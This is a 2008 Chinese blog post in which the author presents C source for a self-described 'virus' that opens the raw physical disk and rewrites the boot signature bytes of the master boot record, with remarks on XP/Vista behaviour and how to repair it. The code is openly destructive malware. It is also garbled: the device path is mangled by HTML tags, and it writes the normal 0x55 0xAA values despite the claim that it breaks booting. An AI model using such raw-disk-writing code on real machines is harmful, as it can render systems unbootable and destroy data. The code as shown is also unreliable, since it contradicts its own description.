竹枝

自己写的病毒

by anyshpm on May.28, 2008, under IT

?Download virus.cpp
#include <io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <errno.h>
 
int main()
{
int hand;
char mbrBuf[512];
char buf[100]={0};
 
sprintf(buf,"<a>\.PhysicalDrive0</a>");
hand=open(buf,O_RDWR | O_BINARY,S_IREAD | S_IWRITE);
read(hand,mbrBuf,512);
mbrBuf[510]=0x55;
mbrBuf[511]=0xAA;
lseek(hand,0,SEEK_SET);
write(hand,mbrBuf,512);
close(hand);
 
return 0;
}

只是小小地破坏了一下主引导区的两个标志字节,结果是,电脑没法启动
大部分代码是从grubinst中学来的
这个程序在xp下可以很正常的运行,而在vista下由于权限不够导致出错

使用debug的int 13可以很方便的恢复那两个字节(0×55 0xAA),或者用fixmbr和fdisk /mbr也应该可以修复


相关文章:

  1. windows 7 变化
  2. 校内网日志导入功能浅析
  3. 回南京
  4. 睡不着
  5. window 7 尝鲜

4 comments for this entry:

发表评论

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

:mrgreen: :| :twisted: :arrow: 8O :) :? 8) :evil: :D :idea: :oops: :P :roll: ;) :cry: :o :lol: :x :( :!: :?:
-->

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Visit our friends!

A few highly recommended friends...